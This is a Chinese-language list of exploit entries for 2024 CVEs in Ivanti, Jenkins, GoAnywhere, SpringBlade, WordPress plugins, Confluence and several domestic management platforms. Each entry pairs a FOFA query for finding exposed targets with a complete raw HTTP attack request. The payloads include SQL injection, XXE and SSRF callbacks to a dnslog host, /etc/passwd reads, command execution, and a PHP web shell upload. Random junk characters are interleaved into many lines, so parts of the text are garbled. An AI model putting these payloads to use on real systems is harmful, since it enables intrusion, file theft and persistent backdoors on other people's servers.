103. Ivanti Pulse Connect Secure VPN XXE
( M$ K0 G! T8 ?# I; q* P- B- cCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
1 [+ _/ _: C/ ?  ?7 WUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
" U/ \+ w. p8 x) WConnection: close
3 c4 f# A% g8 Z/ X% |& d1 b5 N3 }Content-Length: 204
, }% \8 o( y! C( RContent-Type: application/x-www-form-urlencoded
, h0 |9 m( h1 Q' J+ w5 _1 ?Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
* A) t. Y: ?$ n* B! a
& X3 w: h4 m- P3 P8 L" U
: G: ]& M" ]9 y  V. X% p0 t5 d其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
& d0 u0 p/ ?- n" t" `
3 a7 K/ j$ A( `" J: f% i! V9 w8 {/ Y
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
0 u/ E7 R$ H/ h& q; Y; NFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
! ]0 }* b. n3 p6 rHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
6 b) \. _) `2 X* |3 \, JAccept-Encoding:gzip,deflate
, s/ u! S* W. q2 A7 QAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
' Y* `/ M% W+ J% j; i. j4 Y1 F"topicurl":"getSysStatusCfg",
"token":""
$ `9 ^& ~# P& S. J( I6 o}
  D8 o  ~; a" p5 C& X/ x4 k8 X* y
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

- E& ?! D2 A% p9 e! H% i4 }5 L106. SpringBlade dict-biz/list SQL 注入
! O/ H+ a9 g5 Q; E, V8 b# DFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ ]; F7 R2 q4 p5 }& l1 ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: Z1 V0 Z6 ?: x1 HBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
, D% q. `3 J1 `* M2 J- m" [Accept-Language: zh-CN,zh;q=0.9
: K, F: [4 p! d0 L: d# ~) T" zConnection: close
: X1 F+ ?  H9 ~# Z2 H$ y  y

) A: r4 K4 d1 L4 X" G7 v9 w107. SpringBlade tenant/list SQL 注入
; Y2 ~$ X. C3 k5 W* _FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
6 q# L, w/ p5 k4 g' P! KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 |- W: ?1 I2 n& _Blade-Auth:替换为自己的
- R' D3 O0 e, _. D; ]( U) [Connection: close
: [, J- O, I% N! Z( y7 f% |
" L% V! G5 l0 d) g
  I8 ~# P. N. c5 V& R108. D-Tale 3.9.0 SSRF
CVE-2024-21642
& N6 d+ N) s# v: h. gFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
6 N8 h2 v3 f' v8 Y' ?$ x4 LAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
* ^0 x& C5 P# R2 M- j% d0 U3 `Connection: close


109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
5 y- Z- L0 z$ J, c7 r" Z7 L8 P4 \POST /cli?remoting=false HTTP/1.1
Host:
) D* N: G: m2 O2 PContent-type: application/octet-stream
: Q% ~+ y) X( v( T' [Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
$ Q" [+ g! M3 U8 j9 D/ zSide: upload
Connection: keep-alive
+ A0 X2 {! w* M5 b9 BContent-Length: 163
% N; [" a+ N% e  |6 F
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
1 J" V# E* g% l! R& K; D* w% YSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
8 t; s$ |2 D" hdownload
2 }0 v- R' Q; i. o/ TContent-Type: application/x-www-form-urlencoded
/ \9 F' P' K4 g/ u2 J6 B7 ^Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
) y5 A3 W( N  G6 ujava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

( d/ h7 K$ B: J  S; O7 _3 s
6 A9 C" w1 Q2 o+ x5 f110. Goanywhere MFT 未授权创建管理员
1 X6 W( x( w/ uCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
  C$ F* ]0 D9 L+ ?' U/ rGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
, y; `- M) W% e8 M+ tHost: 192.168.40.130:8000
+ |9 h( C/ p! \  qUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
+ M& `# K+ y7 ~; B7 O8 U2 t7 U5 DConnection: close
7 i/ D) n7 G, m) R7 M0 UAccept: */*
Accept-Language: en
7 a: ?2 {, u+ x' LAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
$ `6 [. I. q- n* ^( ECVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
) ~- h; n# l; @3 IAccept: */*
8 s' z' M2 J/ \2 J3 UAccept-Language: en
$ G3 Z# M3 i: o7 w0 iAccept-Encoding: gzip
; d( g( w7 u" ?
% ~- X$ D1 c; ~3 o6 t* P
# K& O% r% v6 ?1 w" `4 h5 b" ^112. WordPress Plugin NotificationX SQL 注入
5 D) E1 z7 n' ~- N1 RCVE-2024-1698
: R4 h# B5 q1 H% V" PFOFA：body="/wp-content/plugins/notificationx"
4 p! z6 h7 X- q0 l' XPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
9 a% e/ r+ b4 b* c! u
( C: }+ A$ q% |, |
113. WordPress Automatic 插件任意文件下载和SSRF
  ~" t% F; }' G9 v' p8 NCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
& L) M" M% h; x" EHost: x.x.x.x
) |: x) i! J0 _# w. s/ X1 \User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
( b$ j/ G8 D( \5 f2 {: PAccept: */*
Accept-Language: en
+ n: b7 x  ?' h2 P. Y5 |' U- wAccept-Encoding: gzip
! N: n$ O7 ^& r  V& k; B+ w( P

114. WordPress MasterStudy LMS插件 SQL注入
9 S. k0 b# l- j/ t0 a9 A/ Z! V# uFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
$ Q! f) T# \  F% h2 Q4 d  UHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 n! p) _7 Z1 _2 P, Z4 T$ UAccept-Charset: utf-8
% _/ \( M2 U2 U6 j9 FAccept-Encoding: gzip, deflate
" d" D  V; F; D# [# _; i+ t& WConnection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
3 F; P: Y3 g/ Q% a( X6 Y第一步，获取网站的nonce值
/ B$ I5 _  x, \" B  S2 L% EGET / HTTP/1.1
' K( U- H" ]6 k  [2 FHost: x.x.x.x
1 J& t+ h; ^0 s+ ^5 qUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
6 R/ {1 W& |: l" r

$ q$ g1 a5 k1 Q- Z3 \) U第二步替换nonce值，执行命令
- O2 L: ?9 v4 ?% `& zPOST /wp-json/bricks/v1/render_element HTTP/1.1
: e4 j0 [* p4 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: E, `( i/ \  T  sConnection: close
Content-Length: 356
0 S- Y7 b  R, I" @$ }  fContent-Type: application/json
- Y$ j- \2 j  d- F1 L0 BAccept-Encoding: gzip
: o- Y: A! I# m; h% E  q! y# J  [
0 ~9 ~7 e) \. S9 c{
"postId": "1",
5 d6 c9 y. Q  u, L" @" y  "nonce": "第一步获得的值",
' O$ `) \6 O7 r  "element": {
    "name": "container",
  V$ W; w2 O+ ?" n" q2 E    "settings": {
      "hasLoop": "true",
$ A- d" E" N  L9 [, K- G0 r      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
6 |  G2 P, d6 G7 c) x+ D( G- {8 {        "objectType": "post"
$ G* f0 o* X  p+ y7 E      }
/ B( T: j" f2 b2 h6 H    }
. V- |+ J, E! S0 v( q  }
* a1 L) Z4 U% Q9 y+ x2 `' r5 Y3 b}


! D- _1 ?0 [& }9 V+ z0 g- H) Q116. wordpress js-support-ticket文件上传
8 I: M- ~1 S! E+ h1 CFOFA：body="wp-content/plugins/js-support-ticket"
8 E/ f2 Y. X; r2 u( jPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
2 f' n/ q& w8 |Host:
Content-Type: multipart/form-data; boundary=--------767099171
3 M) }( G# |  M5 s+ m8 X5 yUser-Agent: Mozilla/5.0
" T% R0 ?  n$ x5 [
----------767099171
Content-Disposition: form-data; name="action"
. z9 ~, C3 G! _3 lconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
+ K( \! B* ~' w2 p5 VContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
4 U- `4 ~- R. X; `1 U% p/ sversion：7.9.11 – 7.10.0
+ u6 l" J2 o7 XFOFA：body="/wp-content/plugins/LayerSlider/"
. H! f5 O- v# gGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
+ @& b/ ?+ {% O  ?5 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% X) t- Q! x. AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
0 F" |  l/ L3 z3 t' jConnection: close
7 r7 [# D/ m2 M4 |Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
/ q% Y# T+ o  I- P# ^POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
% {& ~  ]; h% ^" |# q5 WCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
! F' `( [7 M1 z, X1 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 ]" @0 ~# n& l) i; m, f8 F7 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ H1 P1 h" Q/ z1 s+ P7 _6 j/ AContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
% d: t9 S$ @& X8 V/ O# X" FOrigin: https://192.168.40.130:8443
% t( g; |8 L$ G* sReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
8 b7 n6 [$ ?, N/ [' F4 ESec-Fetch-Site: same-origin
/ ?) M# z/ U0 v7 G8 r/ `Sec-Fetch-User: ?1
( X5 _* I" c, ~1 H  S* OTe: trailers
Connection: close
; R' C% O; b0 [4 L! g& o
$ p6 N- E7 k1 h# i! c+ o1 l-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
. `4 m" o. d; L* A# V8 {7 o8 GContent-Type: application/octet-stream
& W5 S% `$ Y( q. m2 z5 O/ D: e; w
<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
; n! l6 D7 C& w7 Y; vContent-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
( C% y; M2 j! q/ G1 P& u" z" N5 S
7 k* `! x+ W% q1 @6 X0 h
: i# @0 @; ~3 y. c5 @访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 U2 w. n: P9 _( k/ }CVE-2024-1254
6 k4 |4 G; P# a; SFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
1 M, h, l  I4 U1 A  v9 r7 e# nPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
' o7 f, i; e, t  N" p1 W; C$ UCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
  E2 c. d! e& k$ j# Q- cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ u& u1 d* ^5 rAccept-Encoding: gzip, deflate
, L( g6 m9 S6 [, SContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
. G: n0 D1 ~% G) tOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
- ]7 _, C& M) jSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
, C% n) \6 H. s" E9 ^Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
6 D) |' q! k- I, p, d1 t3 KX-Originating-Ip: 1.1.1.1
+ \: N  I* e( J6 r9 `- X0 w) V+ ^X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
8 W2 r$ U3 \/ r6 I; tConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
7 c8 a$ @- l1 D: n! X1 {2 Y# S  L

/ y6 q, T- Q" a0 }& A6 m" T) R120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
$ d) r* F. |, j' yHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
% l" n, W: R9 I! sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
& O1 v. k9 ^0 O$ N( U) Z3 mReferer: https://ip:port/sysmanage/licence.php
9 H- v9 Q' d( e: c; @Upgrade-Insecure-Requests: 1
4 e$ L1 g3 m. c! A! w7 a% BSec-Fetch-Dest: document
: D  `9 T4 y8 y3 E. `Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
; v6 M6 G4 J; d; J% g* n% [5 tConnection: close
3 ~/ u/ Z% H1 X6 r0 d
# M4 J6 U( T) I3 t-----------------------------42328904123665875270630079328
( G# c! }3 N" V2 B6 V- r8 f; VContent-Disposition: form-data; name="file_upload"; filename="2.php"
- r0 f1 Z4 Y/ N. ~' r4 Q7 b# gContent-Type: application/octet-stream

* k6 i! }" G; g( W2 S3 j<?php phpinfo()?>
-----------------------------42328904123665875270630079328
& @, ]; I+ y8 a$ y: k/ [  |/ DContent-Disposition: form-data; name="id_type"

1
$ f" V) c+ K; I7 e' Q4 I( e! K-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

# Z2 f& w& i5 R+ x2 Q% H1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
* B9 t2 a3 M: j7 [# a& _- D
import
-----------------------------42328904123665875270630079328
: \/ k0 \; E/ n5 }/ b8 e" f( l5 R

8 L( {/ [9 \+ a1 J1 G文件路径/upload/2.php
7 X1 S6 p; I) ^7 m# H, Y7 p
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
+ H' ]3 C4 I! bFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
  ^$ E5 p5 d$ dCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
9 }: f3 _" U5 T# j. k; E) `9 _( OUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
9 q0 \7 V. ~  o& X8 j2 k* `4 a* xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. D& B# w) ]) g+ T0 a% JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! j3 o: U0 r* `Accept-Encoding: gzip, deflate
% o/ \+ z6 A3 VContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- u! c  B% O, x% u; C8 f; bSec-Fetch-Mode: navigate
9 I2 o* n. ?2 P, O# HSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
% ]2 C8 B& V, @$ t3 d  MTe: trailers
! Y+ |6 Q$ k% lConnection: close

, c1 ~9 ~5 q) d) e-----------------------------42328904123665875270630079328
2 X" C# a  I- p1 {' aContent-Disposition: form-data; name="web_img"; filename="1.php"
, e2 _+ b" H7 k6 pContent-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
5 d  J8 p# _/ h2 F4 d# n& K-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

# O: C. W4 p" g* b- x1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
' i$ H0 a" i4 _) }/ ^% b; Y
set
-----------------------------42328904123665875270630079328
+ h/ g7 b# F- \8 ^
7 O2 `# J0 ~' W7 x
boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
7 ^2 C0 m3 L. Z7 m其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
3 }  h5 k: o, N" X3 R5 J6 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 C: ?$ @/ }6 e8 t3 m( f7 ?6 d1 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! u6 ~! }( g. J! zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
; E% l1 V/ P4 }Upgrade-Insecure-Requests: 1
& E  m' y1 a' DSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
0 l0 M# |1 R' x2 a$ P) \Sec-Fetch-User: ?1
Te: trailers
Connection: close

: J, k. x* `4 {- [) o3 S$ q) Z
( _5 [. ^8 U7 H+ u/ u123. Atlassian Confluence 模板注入代码执行
/ l: q+ Z3 K% M4 {! s2 b2 {FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
' u" x1 Z# E% @; |" @. r9 u1 NHost: localhost:8090
: k1 Q/ B+ Y6 N% p/ T% B6 gAccept-Encoding: gzip, deflate, br
* d1 V: e; f( D8 iAccept: */*
8 c2 j, I# |/ A, g1 MAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
  j# v- ]3 K. ]$ n5 V! XContent-Type: application/x-www-form-urlencoded
, h0 t& O) F. [0 Y) b
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
  H" I) |3 }, h8 r
0 F$ m8 D! O5 Z
124. 湖南建研工程质量检测系统任意文件上传
* |& ~  e, t) A( L! h8 O( i9 F, C' }  yFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
3 v8 A$ D, [; ~' X, {& EUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
; d* I' j' Z9 h- t; nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ F2 l3 d) z6 S! d- ^Connection: close
Content-Type: application/x-www-form-urlencoded

1 s1 d- M" P2 efilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
7 ?: V, ~4 f) b* @
# B2 D* c6 D9 w" @. f2 f4 e0 W, A  U
. {# `$ D, z; ~! yhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

% {! U( ^: a5 M; \% [  _$ v125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
  r+ P7 d  E1 J8 k$ E! [. n. dFOFA：icon_hash="-82958153"
% f% w& ~# s+ p# w2 u, `4 Q+ M  dhttps://github.com/watchtowrlabs ... bypass-add-user-poc

4 H" M- k2 y& `" n+ i
使用方法
, C- r; a1 O- b) P6 `python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
& K% P, @4 d# T0 ~8 u. K/ f6 j6 e% P
+ m5 ?+ h# B2 K& V* v1 e126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
6 e0 a$ e  K- b$ T/ ]$ w( `; YGET /static/../../../../../etc/passwd HTTP/1.1
1 C/ ]. }# C7 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
7 E) |: T; M' N- ]  XAccept: */*
Accept-Language: en
8 Q: m, \% v6 k0 V! pAccept-Encoding: gzip
/ U/ J7 {2 a, u$ K2 k" q

  T6 \; c7 W/ w: @127. 广联达Linkworks DataExchange.ashx XXE
0 u; }9 X3 Q+ F/ j# kFOFA：body="Services/Identification/login.ashx"
- _7 `1 u5 R$ T2 ?  g; KPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
! i* a! S# p; W2 q* k/ J; @: d. FContent-Length: 415
6 ?+ H& o# }' |. fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 L1 G2 p7 F! `: \& R9 X) ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 ~8 R3 c; |+ i1 |, tConnection: close
2 ^) R; Z4 t$ s1 o7 \Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
7 Z# |9 ]. G0 Q& ?Content-Disposition: form-data;name="SystemName"
. J$ L8 s, Y* [4 p: O' c
3 [  T, [9 x5 Y* @" p: Z0 i% pBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
) L2 c( u' d# r4 H* o7 UContent-Disposition: form-data;name="Params"
+ m0 R2 s/ Q7 Q0 W* MContent-Type: text/plain

" R6 \4 L# n8 a( b$ A. f- c+ o<?xml version="1.0" encoding="UTF-8"?>
4 r8 f. v, ?0 c<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
" y4 w+ h3 W' a>
6 u$ Y: k& l: T$ Z6 F! S<test>&t;</test>
7 [! f8 U; L" e5 H) \) k------WebKitFormBoundaryJGgV5l5ta05yAIe0--
( M! x9 h4 Z' \) Q) b

- |8 q3 x# ~! n3 h5 r8 N* f( T4 x
128. Adobe ColdFusion 反序列化
CVE-2023-38203
1 q8 q2 g; \0 s+ l# f* b' @Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
